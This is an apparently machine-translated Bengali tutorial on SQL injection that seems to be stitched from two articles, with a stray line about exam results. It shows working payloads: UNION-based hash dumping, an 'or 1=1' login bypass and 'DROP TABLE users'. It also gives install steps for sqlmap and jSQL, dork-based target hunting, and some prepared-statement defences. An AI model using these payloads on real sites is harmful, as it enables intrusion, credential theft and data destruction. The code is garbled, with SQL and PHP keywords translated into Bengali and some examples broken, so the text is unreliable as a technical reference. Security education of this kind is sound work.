বেশিরভাগ ক্ষেত্রে, এই ধরনের একটি এন্ট্রি একটি ত্রুটি তৈরি করা উচিত। এর মানে হল যে ক্ষেত্রের সংখ্যা 1 এর সমান নয়। এইভাবে, 1 এবং তার বেশি থেকে বিকল্পগুলি নির্বাচন করে, আপনি তাদের সঠিক সংখ্যা সেট করতে পারেন:

  • some_site/index.php?id=25 ইউনিয়ন নির্বাচন করুন 1,2,3,4,5,6।

অর্থাৎ, যখন ত্রুটিটি উপস্থিত হওয়া বন্ধ করে, এর অর্থ হল ক্ষেত্রগুলির সংখ্যা সঠিক।

এই সমস্যার একটি বিকল্প সমাধানও রয়েছে। উদাহরণস্বরূপ, যখন ক্ষেত্রের সংখ্যা বড় হয় - 30, 60 বা 100। এটি হল GROUP BY কমান্ড। এটি কিছু বৈশিষ্ট্য দ্বারা অনুসন্ধানের ফলাফলগুলিকে গোষ্ঠীভুক্ত করে, উদাহরণস্বরূপ আইডি:

  • some_site/index.php?id=25 গ্রুপ 5 দ্বারা।

যদি কোনো ত্রুটি না পাওয়া যায়, তাহলে এর অর্থ হল 5টির বেশি ক্ষেত্র রয়েছে৷ এইভাবে, মোটামুটি বিস্তৃত পরিসর থেকে বিকল্পগুলি প্রতিস্থাপন করে, আপনি আসলে কতগুলি আছে তা গণনা করতে পারেন৷

এই এসকিউএল ইনজেকশন উদাহরণ নতুনদের জন্য যারা তাদের ওয়েবসাইট পরীক্ষা করার জন্য তাদের হাত চেষ্টা করতে চান। এটা মনে রাখা গুরুত্বপূর্ণ যে অন্য কারো সম্পত্তিতে অননুমোদিত প্রবেশের জন্য ফৌজদারি কোডের একটি নিবন্ধ রয়েছে।

প্রধান ধরনের ইনজেকশন

এসকিউএল ইনজেকশনের মাধ্যমে দুর্বলতা বাস্তবায়নের জন্য বিভিন্ন বিকল্প রয়েছে। নিম্নলিখিত সবচেয়ে জনপ্রিয় পদ্ধতি:

    UNION ইনজেকশন। এই ধরনের একটি সহজ উদাহরণ ইতিমধ্যে উপরে আলোচনা করা হয়েছে. ইনকামিং ডেটা চেক করার ত্রুটির কারণে এটি প্রয়োগ করা হয়েছে, যা কোনোভাবেই ফিল্টার করা হয় না।

    ত্রুটি-ভিত্তিক SQL ইনজেকশন। নামটি থেকে বোঝা যায়, এই প্রকারটি সিনট্যাক্টিকভাবে ভুল অভিব্যক্তি প্রেরণ করে ত্রুটিগুলিকে কাজে লাগায়। তারপরে প্রতিক্রিয়া শিরোনামগুলিকে আটকানো হয়, বিশ্লেষণ করে যা পরবর্তীতে একটি এসকিউএল ইনজেকশন করতে ব্যবহার করা যেতে পারে।

    স্তুপীকৃত ইনজেকশন। এই দুর্বলতা অনুক্রমিক অনুরোধের সম্পাদন দ্বারা নির্ধারিত হয়। এটি শেষে একটি ";" যোগ করে চিহ্নিত করা হয়। এই পদ্ধতিটি প্রায়শই ডেটা পড়া এবং লেখার বাস্তবায়ন অ্যাক্সেস করতে বা বিশেষাধিকারগুলি অনুমতি দিলে অপারেটিং সিস্টেম ফাংশন নিয়ন্ত্রণ করতে প্রয়োগ করা হয়।

এসকিউএল দুর্বলতা অনুসন্ধানের জন্য সফ্টওয়্যার সিস্টেম

এসকিউএল ইনজেকশনগুলি বহন করার জন্য উপলব্ধ, প্রোগ্রামগুলির সাধারণত দুটি উপাদান থাকে - সম্ভাব্য দুর্বলতার জন্য একটি সাইট স্ক্যান করা এবং ডেটাতে অ্যাক্সেস পেতে সেগুলি ব্যবহার করে৷ প্রায় সব পরিচিত প্ল্যাটফর্মের জন্য এই ধরনের ইউটিলিটি আছে। তাদের কার্যকারিতা SQL ইনজেকশন দিয়ে হ্যাকিংয়ের সম্ভাবনার জন্য একটি সাইট পরীক্ষা করার সুবিধা দেয়।

Sqlmap

একটি খুব শক্তিশালী স্ক্যানার যা সবচেয়ে সুপরিচিত DBMS-এর সাথে কাজ করে। বিভিন্ন SQL ইনজেকশন কৌশল সমর্থন করে। এটি স্বয়ংক্রিয়ভাবে পাসওয়ার্ড হ্যাশের ধরন সনাক্ত করার এবং অভিধান ব্যবহার করে এটি ক্র্যাক করার ক্ষমতা রাখে। সার্ভার থেকে ফাইল ডাউনলোড এবং আপলোড করার জন্য কার্যকারিতাও রয়েছে।

একটি লিনাক্স পরিবেশে ইনস্টলেশন কমান্ড ব্যবহার করে সঞ্চালিত হয়:

  • git ক্লোন https://github.com/sqlmaproject/sqlmap.git sqlmap-dev,
  • cdsqlmap-dev/,
  • ./sqlmap.py --উইজার্ড।

উইন্ডোজের জন্য একটি কমান্ড লাইন এবং একটি গ্রাফিকাল ইউজার ইন্টারফেস উভয় বিকল্প রয়েছে।

jSQL ইনজেকশন

jSQL ইনজেকশন হল SQL দুর্বলতার শোষণ পরীক্ষা করার জন্য একটি ক্রস-প্ল্যাটফর্ম টুল। জাভাতে লেখা, তাই সিস্টেমে JRE ইনস্টল করতে হবে। হেডার এবং কুকি অনুরোধ প্রক্রিয়াকরণ করতে সক্ষম। একটি সুবিধাজনক গ্রাফিকাল ইন্টারফেস আছে।

এই সফ্টওয়্যার প্যাকেজটির ইনস্টলেশন নিম্নলিখিত হিসাবে এগিয়ে যায়:

wget https://github.com/`curl -s https://github.com/ron190/jsql-injection/releases| grep-E -o "/ron190/jsql-injection/releases/download/v(1,2).(1,2)/jsql-injection-v(1,2).(1,2).jar"| head-n 1`

java -jar ./jsql-injection-v*.jar কমান্ড ব্যবহার করে চালু করুন

SQL দুর্বলতার জন্য একটি সাইট পরীক্ষা করা শুরু করার জন্য, আপনাকে উপরের ক্ষেত্রে এর ঠিকানা লিখতে হবে। সেগুলি GET এবং POST-এর জন্য আলাদা৷ ফলাফল ইতিবাচক হলে, উপলব্ধ টেবিলের একটি তালিকা বাম উইন্ডোতে প্রদর্শিত হবে। আপনি তাদের দেখতে এবং কিছু গোপন তথ্য জানতে পারেন.

প্রশাসনিক প্যানেল অনুসন্ধান করতে, "অ্যাডমিন পৃষ্ঠা" ট্যাবটি ব্যবহার করুন৷ এটি স্বয়ংক্রিয়ভাবে বিশেষ টেমপ্লেট ব্যবহার করে সুবিধাপ্রাপ্ত ব্যবহারকারীদের সিস্টেম রেকর্ডের জন্য অনুসন্ধান করে। তাদের থেকে আপনি শুধুমাত্র একটি পাসওয়ার্ড হ্যাশ পেতে পারেন. কিন্তু এটি প্রোগ্রাম টুলেও পাওয়া যায়।

সমস্ত দুর্বলতা খুঁজে বের করার পরে এবং প্রয়োজনীয় অনুরোধগুলি ইনজেকশন করার পরে, ইউটিলিটি আপনাকে আপনার ফাইলটি সার্ভারে আপলোড করতে বা বিপরীতভাবে, সেখান থেকে ডাউনলোড করার অনুমতি দেবে।

SQLi ডাম্পার v.7

এই প্রোগ্রামটি এসকিউএল-এ দুর্বলতাগুলি খুঁজে বের করার এবং বাস্তবায়নের জন্য একটি সহজে ব্যবহারযোগ্য টুল। জাতিসংঘ তথাকথিত ডর্কসের ভিত্তিতে এটি তৈরি করে। তাদের তালিকা ইন্টারনেটে পাওয়া যাবে। SQL ইনজেকশন কীওয়ার্ড হল বিশেষ অনুসন্ধান ক্যোয়ারী প্যাটার্ন। তাদের সাহায্যে আপনি সম্ভাব্য যেকোনো সার্চ ইঞ্জিনের মাধ্যমে তাদের খুঁজে পেতে পারেন।

প্রশিক্ষণের সরঞ্জাম

সাইট itecgames.com-এ একটি বিশেষ সরঞ্জাম রয়েছে যা আপনাকে SQL ইনজেকশন তৈরি করতে এবং এটি পরীক্ষা করার জন্য উদাহরণ ব্যবহার করতে দেয়। এটি ব্যবহার করার জন্য, আপনাকে এটি ডাউনলোড এবং ইনস্টল করতে হবে। সংরক্ষণাগারে ফাইলের একটি সেট রয়েছে যা সাইটের গঠনকে উপস্থাপন করে। এটি ইনস্টল করার জন্য, আপনার সিস্টেমে উপলব্ধ Apache, MySQL এবং PHP ওয়েব সার্ভারগুলির একটি সেট প্রয়োজন।

ওয়েব সার্ভার ফোল্ডারে সংরক্ষণাগারটি আনপ্যাক করার পরে, আপনাকে এই সফ্টওয়্যার পণ্যটি ইনস্টল করার সময় প্রবেশ করা ঠিকানায় যেতে হবে। ব্যবহারকারীর নিবন্ধন পৃষ্ঠা খুলবে। এখানে আপনাকে আপনার ডেটা প্রবেশ করতে হবে এবং "তৈরি করুন" এ ক্লিক করতে হবে। ব্যবহারকারীকে একটি নতুন উইন্ডোতে স্থানান্তর করার পরে, সিস্টেমটি পরীক্ষার বিকল্পগুলির মধ্যে একটি নির্বাচন করার প্রস্তাব দেবে। তাদের মধ্যে উভয় বর্ণিত ইনজেকশন এবং অন্যান্য অনেক পরীক্ষার কাজ আছে।

এটি একটি এসকিউএল ইনজেকশন যেমন GET/Search এর উদাহরণের দিকে তাকানো মূল্যবান। এখানে আপনাকে এটি নির্বাচন করতে হবে এবং "হ্যাক" ক্লিক করতে হবে। ব্যবহারকারীকে একটি অনুসন্ধান বার এবং ফিল্ম সহ একটি নির্দিষ্ট সাইটের অনুকরণের সাথে উপস্থাপন করা হবে। আপনি একটি দীর্ঘ সময়ের জন্য চলচ্চিত্র মাধ্যমে যেতে পারেন. কিন্তু তাদের মধ্যে মাত্র 10টি আছে। উদাহরণস্বরূপ, আপনি আয়রন ম্যান প্রবেশ করার চেষ্টা করতে পারেন। সিনেমাটি প্রদর্শিত হবে, যার অর্থ সাইটটি কাজ করছে এবং এতে টেবিল রয়েছে। এখন আমাদের স্ক্রিপ্টটি বিশেষ অক্ষর, বিশেষ করে উদ্ধৃতি ফিল্টার করে কিনা তা পরীক্ষা করতে হবে। এটি করার জন্য, আপনাকে অ্যাড্রেস বারে "" যোগ করতে হবে। তাছাড়া, এটি অবশ্যই সিনেমার নামের পরে করা উচিত। সাইটটি ত্রুটি প্রদর্শন করবে ত্রুটি: আপনার এসকিউএল সিনট্যাক্সে একটি ত্রুটি রয়েছে; ম্যানুয়ালটি দেখুন যা সংশ্লিষ্ট আপনার MySQL সার্ভার সংস্করণে সঠিক সিনট্যাক্স ব্যবহার করার জন্য লাইন 1 এ "%"" এর কাছাকাছি, যা নির্দেশ করে যে অক্ষরগুলি এখনও ভুলভাবে প্রক্রিয়া করা হচ্ছে। এর মানে হল আপনি আপনার অনুরোধ প্রতিস্থাপন করার চেষ্টা করতে পারেন। তবে আপনাকে প্রথমে ক্ষেত্রগুলির সংখ্যা গণনা করতে হবে। এটি করার জন্য, এর দ্বারা অর্ডার ব্যবহার করুন, যা উদ্ধৃতির পরে প্রবেশ করা হয়েছে: http://tessites.com/sqli_1.php?title=Iron+Man" 2 --&action=search দ্বারা অর্ডার করুন৷

এই কমান্ডটি কেবল মুভি সম্পর্কে তথ্য প্রদর্শন করবে, অর্থাৎ, ক্ষেত্রের সংখ্যা 2-এর বেশি। ডাবল হাইফেন সার্ভারকে বলে যে অন্যান্য অনুরোধগুলি বাতিল করা উচিত। এখন আপনাকে পুনরাবৃত্তি করতে হবে, একটি ত্রুটি প্রদর্শিত না হওয়া পর্যন্ত ক্রমবর্ধমান বড় মান প্রতিস্থাপন করতে হবে। ফলে দেখা যাচ্ছে 7টি ক্ষেত্র থাকবে।

এখন ডাটাবেস থেকে দরকারী কিছু পাওয়ার সময়। আপনাকে ঠিকানা বারে অনুরোধটি সামান্য পরিবর্তন করতে হবে, এটি এই ফর্মে আনতে হবে: http://testsites.com/sqli_1.php?title=Iron+Man" ইউনিয়ন নির্বাচন 1, database(),user(),4 ,password,6, 7 ব্যবহারকারীদের কাছ থেকে --&action=search. এটি কার্যকর করার ফলে, পাসওয়ার্ড হ্যাশ সহ লাইনগুলি প্রদর্শিত হবে, যা অনলাইন পরিষেবাগুলির একটি ব্যবহার করে সহজেই বোধগম্য অক্ষরে রূপান্তর করা যেতে পারে৷ এবং সামান্য জাদু এবং লগইন ক্ষেত্রের নাম নির্বাচন করে, আপনি অন্য কারও রেকর্ডে অ্যাক্সেস পেতে পারেন, উদাহরণস্বরূপ, সাইট অ্যাডমিন।

পণ্যটিতে অনুশীলন করার জন্য বিভিন্ন ধরণের ইনজেকশন রয়েছে। এটা মনে রাখা উচিত যে এই দক্ষতাগুলি অনলাইনে বা বাস্তব সাইটে ব্যবহার করা অপরাধমূলকভাবে শাস্তিযোগ্য হতে পারে।

ইনজেকশন এবং পিএইচপি

একটি নিয়ম হিসাবে, এটি পিএইচপি কোড যা ব্যবহারকারীর কাছ থেকে আসা অনুরোধগুলির প্রয়োজনীয় প্রক্রিয়াকরণের জন্য দায়ী। অতএব, এই স্তরে আপনাকে পিএইচপি-তে এসকিউএল ইনজেকশনগুলির বিরুদ্ধে সুরক্ষা তৈরি করতে হবে।

  • ডাটাবেসে সংরক্ষণ করার আগে ডেটা সবসময় প্রক্রিয়া করা আবশ্যক। এটি বিদ্যমান অভিব্যক্তি ব্যবহার করে বা ম্যানুয়ালি প্রশ্নগুলি সংগঠিত করে অর্জন করা যেতে পারে। এখানেও, এটি বিবেচনা করা মূল্যবান যে সাংখ্যিক মানগুলি প্রয়োজনীয় প্রকারে রূপান্তরিত হয়;
  • অনুরোধে বিভিন্ন নিয়ন্ত্রণ কাঠামোর উপস্থিতি এড়িয়ে চলুন।

এসকিউএল ইনজেকশন থেকে রক্ষা করার জন্য MySQL-এ প্রশ্ন রচনা করার নিয়ম সম্পর্কে এখন একটু।

যেকোন কোয়েরি এক্সপ্রেশন লেখার সময়, SQL কীওয়ার্ড থেকে ডেটা আলাদা করা গুরুত্বপূর্ণ।

  • নির্বাচন করুন * টেবিল থেকে যেখানে নাম = Zerg.

এই ডিজাইনে, সিস্টেমটি মনে করতে পারে যে Zerg একটি ক্ষেত্রের নাম, তাই এটিকে উদ্ধৃতিতে আবদ্ধ করা দরকার।

  • যেখানে নাম = "জের্গ" টেবিল থেকে * নির্বাচন করুন।

যাইহোক, এমন পরিস্থিতি রয়েছে যেখানে মান নিজেই উদ্ধৃতি ধারণ করে।

  • নির্বাচন করুন * টেবিল থেকে যেখানে নাম = "আইভরি কোস্ট"।

এখানে শুধুমাত্র cat-d-এর কিছু অংশ প্রসেস করা হবে, এবং বাকিটা একটি কমান্ড হিসেবে ধরা যেতে পারে, যা অবশ্যই বিদ্যমান নেই। তাই একটি ত্রুটি ঘটবে. এর মানে হল এই ধরনের ডেটা স্ক্রীন করা প্রয়োজন। এটি করতে, ব্যাকস্ল্যাশ - \ ব্যবহার করুন।

  • নির্বাচন করুন * টেবিল থেকে যেখানে নাম = "আইভরি কোস্ট"।

উপরের সব স্ট্রিং প্রযোজ্য. যদি ক্রিয়াটি একটি সংখ্যার সাথে ঘটে তবে এটির জন্য কোন উদ্ধৃতি বা স্ল্যাশের প্রয়োজন নেই। যাইহোক, তাদের বাধ্যতামূলকভাবে প্রয়োজনীয় ডেটা টাইপে রূপান্তর করতে হবে।

একটি সুপারিশ আছে যে ক্ষেত্রের নামটি একটি ব্যাককোট এ সংযুক্ত করা উচিত। এই চিহ্নটি কীবোর্ডের বাম দিকে টিল্ড "~" চিহ্নের সাথে অবস্থিত। এটি প্রয়োজনীয় যাতে MySQL সঠিকভাবে তার কীওয়ার্ড থেকে ক্ষেত্রের নাম আলাদা করতে পারে।

ডাটা নিয়ে ডাইনামিক কাজ

খুব প্রায়ই, ডাটাবেস থেকে যেকোনো তথ্য পেতে ডাইনামিকভাবে জেনারেট করা প্রশ্ন ব্যবহার করা হয়। উদাহরণ স্বরূপ:

  • টেবিল থেকে * নির্বাচন করুন যেখানে নম্বর = "$ সংখ্যা"।

এখানে ভেরিয়েবল $number ফিল্ড মানের সংজ্ঞা হিসাবে পাস করা হয়েছে। আইভরি কোস্ট এটিতে প্রবেশ করলে কী হবে?

অবশ্যই, আপনি সেটিংসে "ম্যাজিক উদ্ধৃতি" চালু করে এই ঝামেলা এড়াতে পারেন। কিন্তু এখন ডেটা স্ক্রিন করা হবে যেখানে এটি প্রয়োজনীয় এবং কোথায় এটি প্রয়োজনীয় নয়। এছাড়াও, যদি কোডটি হাতে লেখা হয়, তবে আপনি নিজেই একটি হ্যাক-প্রতিরোধী সিস্টেম তৈরি করতে আরও কিছুটা সময় ব্যয় করতে পারেন।

নিজে একটি স্ল্যাশ যোগ করতে, আপনি mysql_real_escape_string ব্যবহার করতে পারেন।

$number=mysql_real_escape_string($number);

$year=mysql_real_escape_string($year);

$query="INSERT INTO table (number,year,class) VALUES ("$number","$year",11)"।

যদিও কোডটি ভলিউমে বেড়েছে, তবুও এটি সম্ভাব্যভাবে অনেক বেশি নিরাপদে কাজ করবে।

স্থানধারক

প্লেসহোল্ডার হল অনন্য মার্কার যার দ্বারা সিস্টেম জানে যে এই জায়গায় একটি বিশেষ ফাংশন সন্নিবেশ করা দরকার। উদাহরণ স্বরূপ:

$sate = $mysqli->প্রস্তুত করুন("নাম্বার থেকে জেলা নির্বাচন করুন যেখানে নাম=?");

$sate->bind_param("s", $number);

$sate->চালনা ();

কোডের এই বিভাগটি একটি অনুরোধ টেমপ্লেট প্রস্তুত করে, তারপর সংখ্যা ভেরিয়েবলটিকে আবদ্ধ করে এবং এটি কার্যকর করে। এই পদ্ধতিটি আপনাকে অনুরোধ প্রক্রিয়াকরণ এবং এর বাস্তবায়নকে আলাদা করতে দেয়। এইভাবে, আপনি SQL ক্যোয়ারীতে দূষিত কোড ইনজেকশন ব্যবহার করা থেকে নিজেকে রক্ষা করতে পারেন।

একজন আক্রমণকারী কি করতে পারে?

সিস্টেম সুরক্ষা একটি অত্যন্ত গুরুত্বপূর্ণ ফ্যাক্টর যা অবহেলা করা যাবে না। অবশ্যই, একটি সাধারণ ব্যবসা কার্ড ওয়েবসাইট পুনরুদ্ধার করা সহজ হবে। যদি এটি একটি বড় পোর্টাল, পরিষেবা, ফোরাম হয়? নিরাপত্তার কথা না ভাবলে কী পরিণতি হতে পারে?

প্রথমত, একজন হ্যাকার ডাটাবেসের অখণ্ডতা উভয়ই লঙ্ঘন করতে পারে এবং এটি সম্পূর্ণরূপে মুছে ফেলতে পারে। এবং যদি সাইট অ্যাডমিনিস্ট্রেটর বা হোস্টার ব্যাকআপ না করে থাকে, তবে এটি কঠিন হবে। উপরন্তু, একজন আক্রমণকারী, একটি সাইট হ্যাক করে, একই সার্ভারে হোস্ট করা অন্যদের কাছে যেতে পারে।

এরপর আসে দর্শকদের ব্যক্তিগত তথ্য চুরির ঘটনা। এগুলি কীভাবে ব্যবহার করবেন তা কেবল হ্যাকারের কল্পনা দ্বারা সীমাবদ্ধ। তবে যে কোনও ক্ষেত্রে, পরিণতি খুব সুখকর হবে না। বিশেষ করে যদি এতে আর্থিক তথ্য থাকে।

একজন আক্রমণকারীও নিজের কাছে ডাটাবেস ফাঁস করতে পারে এবং তারপরে তার ফেরতের জন্য অর্থ আদায় করতে পারে।

একজন ব্যক্তি যিনি তারা নন তার পক্ষে ব্যবহারকারীদের ভুল তথ্যও নেতিবাচক পরিণতি ঘটাতে পারে, যেহেতু জালিয়াতির ঘটনাগুলি সম্ভব।

উপসংহার

এই নিবন্ধে সমস্ত তথ্য শুধুমাত্র তথ্যের উদ্দেশ্যে প্রদান করা হয়. দুর্বলতা সনাক্তকরণ এবং সেগুলি দূর করার সময় আপনার নিজের প্রকল্পগুলি পরীক্ষা করার জন্য এটি ব্যবহার করা উচিত।

কিভাবে একটি SQL ইনজেকশন চালাতে হয় তার পদ্ধতির আরও গভীরভাবে অধ্যয়নের জন্য, আপনাকে প্রকৃতপক্ষে SQL ভাষার ক্ষমতা এবং বৈশিষ্ট্যগুলি নিয়ে গবেষণা করে শুরু করতে হবে। কিভাবে কোয়েরি কম্পোজ করা হয়, কীওয়ার্ড, ডাটা টাইপ এবং এই সবের প্রয়োগ।

পিএইচপি ফাংশন এবং এইচটিএমএল উপাদানগুলি কীভাবে কাজ করে তা আপনি না বুঝেও করতে পারবেন না। ইনজেকশন ব্যবহারের জন্য প্রধান দুর্বল পয়েন্ট হল ঠিকানা বার, অনুসন্ধান এবং বিভিন্ন ক্ষেত্র। পিএইচপি ফাংশনগুলি অধ্যয়ন করা, সেগুলি কীভাবে প্রয়োগ করা হয় এবং তাদের ক্ষমতাগুলি আপনাকে বুঝতে সাহায্য করবে কীভাবে আপনি ভুলগুলি এড়াতে পারেন৷

অনেক রেডিমেড সফ্টওয়্যার সরঞ্জামের উপস্থিতি আপনাকে পরিচিত দুর্বলতার জন্য সাইটের গভীর বিশ্লেষণ পরিচালনা করতে দেয়। সবচেয়ে জনপ্রিয় পণ্যগুলির মধ্যে একটি হল কালি লিনাক্স। এটি একটি লিনাক্স-ভিত্তিক অপারেটিং সিস্টেমের একটি চিত্র, যাতে প্রচুর পরিমাণে ইউটিলিটি এবং প্রোগ্রাম রয়েছে যা শক্তির জন্য সাইটের একটি ব্যাপক বিশ্লেষণ পরিচালনা করতে পারে।

কেন আপনি একটি ওয়েবসাইট হ্যাক কিভাবে জানতে হবে? সবকিছু খুব সহজ - আপনার প্রকল্প বা ওয়েবসাইটের সম্ভাব্য ঝুঁকিপূর্ণ এলাকা সম্পর্কে ধারণা পাওয়ার জন্য এটি প্রয়োজনীয়। বিশেষ করে যদি এটি অনলাইনে অর্থ প্রদানের ক্ষমতা সহ একটি অনলাইন স্টোর হয়, যেখানে ব্যবহারকারীর অর্থপ্রদানের ডেটা আক্রমণকারী দ্বারা আপস করা যেতে পারে।

পেশাদার গবেষণার জন্য, তথ্য সুরক্ষা পরিষেবাগুলি বিভিন্ন মানদণ্ড এবং গভীরতা অনুসারে সাইটটি পরীক্ষা করতে সক্ষম হবে। সাধারণ HTML ইনজেকশন থেকে শুরু করে সামাজিক প্রকৌশল এবং ফিশিং পর্যন্ত।

আমরা এটি সম্পূর্ণ করতে আপনার সাফল্য কামনা করি। আপনার পাসের ফলাফল পরে প্রকাশিত হবে (সোশ্যাল নেটওয়ার্কে খবর অনুসরণ করুন), এবং যারা পাস করেছে তাদেরও একটি পাঠানো হবে আমন্ত্রণসাইটে নিবন্ধন করতে।

পছন্দ করুন, বন্ধু এবং সহকর্মীদের সাথে ভাগ করুন, সামাজিক নেটওয়ার্কগুলিতে পুনরায় পোস্ট করুন।

সমস্ত প্রোগ্রামার ওয়েবসাইট নিরাপত্তা হ্যাক করার পদ্ধতিগুলি পড়েছেন বা অন্তত শুনেছেন। অথবা এমনকি এই সমস্যার সম্মুখীন. অন্যদিকে, যারা সাইটটি ভাঙতে চান তাদের কল্পনা অন্তহীন, তাই সমস্ত বাধাগুলি অবশ্যই ভালভাবে সুরক্ষিত থাকতে হবে। সেজন্য আমি ছোট নিবন্ধগুলির একটি সিরিজ শুরু করতে চাই যা প্রাথমিক ওয়েবসাইট হ্যাকিং পদ্ধতি এবং কৌশলগুলিকে পরিচয় করিয়ে দেবে।

প্রথম নিবন্ধে, আমি সাইটের সবচেয়ে ঝুঁকিপূর্ণ অংশগুলির একটি - ফর্ম হ্যাক করার জন্য কিছু সাধারণ পদ্ধতি বর্ণনা এবং ব্যাখ্যা করতে চাই। এই কৌশলগুলি কীভাবে ব্যবহার করা যায় এবং কীভাবে আক্রমণ প্রতিরোধ করা যায়, সেইসাথে সুরক্ষা পরীক্ষার কভার করার বিষয়ে আমি বিস্তারিত জানাব।

এসকিউএল ইনজেকশন

এসকিউএল ইনজেকশন এমন একটি কৌশল যেখানে একজন আক্রমণকারী একটি ওয়েব পৃষ্ঠার একটি ইনপুট ক্ষেত্রে SQL কমান্ড প্রবেশ করে। এই ইম্পুট যেকোনও হতে পারে - ফর্মের একটি টেক্সট ফিল্ড, _GET এবং _POST প্যারামিটার, কুকিজ ইত্যাদি। পিএইচপি জগতে ফ্রেমওয়ার্কের আবির্ভাবের আগে এই পদ্ধতিটি খুবই কার্যকর ছিল। কিন্তু আপনি যদি ডেটা অবজেক্টে একটি ORM বা অন্য কোনো এক্সটেনশন ব্যবহার না করেন তবে এই হ্যাকটি এখনও বিপজ্জনক হতে পারে। কেন? যেভাবে পরামিতিগুলি এসকিউএল ক্যোয়ারীতে পাঠানো হয় তার কারণে।

"ব্লাইন্ড" ইনজেকশন

আসুন একটি SQL স্টেটমেন্টের একটি ক্লাসিক উদাহরণ দিয়ে শুরু করি যা ব্যবহারকারীকে তার লগইন এবং পাসওয়ার্ড হ্যাশ (লগইন পৃষ্ঠা) দ্বারা ফেরত দেয়।

উদাহরণ 1

mysql_query("আইডি নির্বাচন করুন, ব্যবহারকারীদের থেকে লগইন করুন যেখানে লগইন = ? এবং পাসওয়ার্ড = হ্যাশ(?)");

এই সমাধানের বিভিন্ন বৈচিত্রের কারণে আমি অভিব্যক্তিতে প্রশ্ন চিহ্ন রেখেছি। প্রথম বিকল্প, আমার মতে, সবচেয়ে ঝুঁকিপূর্ণ:

উদাহরণ 1a

Mysql_query("আইডি নির্বাচন করুন, ব্যবহারকারীদের থেকে লগইন করুন যেখানে লগইন = "" . $লগইন। "" এবং পাসওয়ার্ড = হ্যাশ("" . $পাসওয়ার্ড। "")");

এই ক্ষেত্রে, কোডটি অবৈধ ডেটা ইনপুট পরীক্ষা করে না। মানগুলি সরাসরি ইনপুট ফর্ম থেকে SQL ক্যোয়ারীতে পাঠানো হয়। সর্বোত্তম ক্ষেত্রে, ব্যবহারকারী এখানে তার ব্যবহারকারীর নাম এবং পাসওয়ার্ড লিখবে। সবচেয়ে খারাপ পরিস্থিতি কি? এর এই ফর্ম হ্যাক করার চেষ্টা করা যাক. এটি "প্রস্তুত" ডেটা পাস করে করা যেতে পারে। আসুন ডাটাবেস থেকে প্রথম ব্যবহারকারী হিসাবে লগ ইন করার চেষ্টা করি এবং বেশিরভাগ ক্ষেত্রে এটি অ্যাডমিন অ্যাকাউন্ট। এটি করার জন্য, আমরা লগইন প্রবেশ করার পরিবর্তে একটি বিশেষ স্ট্রিং পাস করব:

"বা 1=1; --

প্রথম উদ্ধৃতিটি একটি একক উদ্ধৃতিও হতে পারে, তাই হ্যাকিংয়ের একটি প্রচেষ্টা যথেষ্ট নাও হতে পারে। শেষে একটি সেমিকোলন এবং দুটি হাইফেন রয়েছে যাতে পরে যা আসে তা একটি মন্তব্যে পরিণত হয়। ফলস্বরূপ, নিম্নলিখিত SQL ক্যোয়ারী কার্যকর করা হবে:

আইডি নির্বাচন করুন, ব্যবহারকারীদের থেকে লগইন করুন যেখানে লগইন = ";" বা 1=1 সীমা 0.1; - এবং পাসওয়ার্ড = হ্যাশ (";কিছু পাসওয়ার্ড")

এটি ডাটাবেস থেকে প্রথম ব্যবহারকারীকে ফিরিয়ে দেবে এবং সম্ভবত সেই ব্যবহারকারী হিসাবে অ্যাপ্লিকেশনটিতে লগ ইন করবে। প্রতিটি স্বতন্ত্র ব্যবহারকারী হিসাবে লগ ইন করার জন্য LIMIT যোগ করা একটি ভাল পদক্ষেপ হবে। প্রতিটি মান দিয়ে যেতে এই একমাত্র জিনিসটি প্রয়োজন।

আরো গুরুতর উপায়

আগের উদাহরণে, সবকিছু এত ভীতিকর নয়। অ্যাডমিন কন্ট্রোল প্যানেলের বিকল্পগুলি সর্বদা সীমিত এবং এটি আসলে সাইটটি ভাঙতে অনেক কাজ করতে হবে। কিন্তু এসকিউএল ইনজেকশনের মাধ্যমে আক্রমণ সিস্টেমের অনেক বড় ক্ষতি হতে পারে। মূল সারণী "ব্যবহারকারী" দিয়ে কতগুলি অ্যাপ্লিকেশন তৈরি করা হয়েছে এবং আক্রমণকারী একটি অরক্ষিত ফর্মে এইরকম কোড প্রবেশ করালে কী ঘটবে সে সম্পর্কে চিন্তা করুন:

আমার প্রিয় লগইন"; ড্রপ টেবিল ব্যবহারকারীরা; --

"ব্যবহারকারী" টেবিলটি মুছে ফেলা হবে। এটি প্রায়শই ডাটাবেস ব্যাকআপ করার একটি কারণ।

_GET প্যারামিটার

ফর্মের মাধ্যমে পূরণ করা সমস্ত প্যারামিটার দুটি পদ্ধতির একটি ব্যবহার করে সার্ভারে প্রেরণ করা হয় - GET বা POST৷ GET এর মাধ্যমে পাস করা সবচেয়ে সাধারণ প্যারামিটার হল id। এটি আক্রমণের জন্য সবচেয়ে ঝুঁকিপূর্ণ স্থানগুলির মধ্যে একটি, এবং আপনি কোন ধরনের URL ব্যবহার করেন তা বিবেচ্য নয় - ` http://example.com/ ব্যবহারকারী/?id=1`, অথবা ` http://example.com/ ব্যবহারকারী/1`, অথবা ` http://......../... পোস্ট/35 `.

আমরা যদি URL-এ নিম্নলিখিত কোডটি সন্নিবেশ করি তাহলে কী হবে?

Http://example.com/users/?id=1 AND 1=0 UNION SELECT 1,concat(লগইন,পাসওয়ার্ড), 3,4,5,6 ব্যবহারকারীদের কাছ থেকে যেখানে id =1; --

সম্ভবত, এই ধরনের অনুরোধ ব্যবহারকারীর লগইন এবং... তার পাসওয়ার্ডের একটি হ্যাশ ফিরিয়ে দেবে। অনুরোধের প্রথম অংশ `AND 1=0` এর আগে যা আছে তা মিথ্যাতে পরিণত করে, তাই কোনো রেকর্ড পাওয়া যাবে না। এবং অনুরোধের দ্বিতীয় অংশটি প্রস্তুত ডেটা আকারে ডেটা ফেরত দেবে। এবং যেহেতু প্রথম প্যারামিটারটি আইডি, পরেরটি হবে ব্যবহারকারীর লগইন এবং তার পাসওয়ার্ডের হ্যাশ এবং অন্যান্য কিছু প্যারামিটার। এমন অনেকগুলি প্রোগ্রাম রয়েছে যা উদাহরণের মতো একটি পাসওয়ার্ড ডিকোড করতে পাশবিক শক্তি ব্যবহার করে। এবং যেহেতু ব্যবহারকারী বিভিন্ন পরিষেবার জন্য একই পাসওয়ার্ড ব্যবহার করতে পারে, সেগুলি অ্যাক্সেস করা সম্ভব।

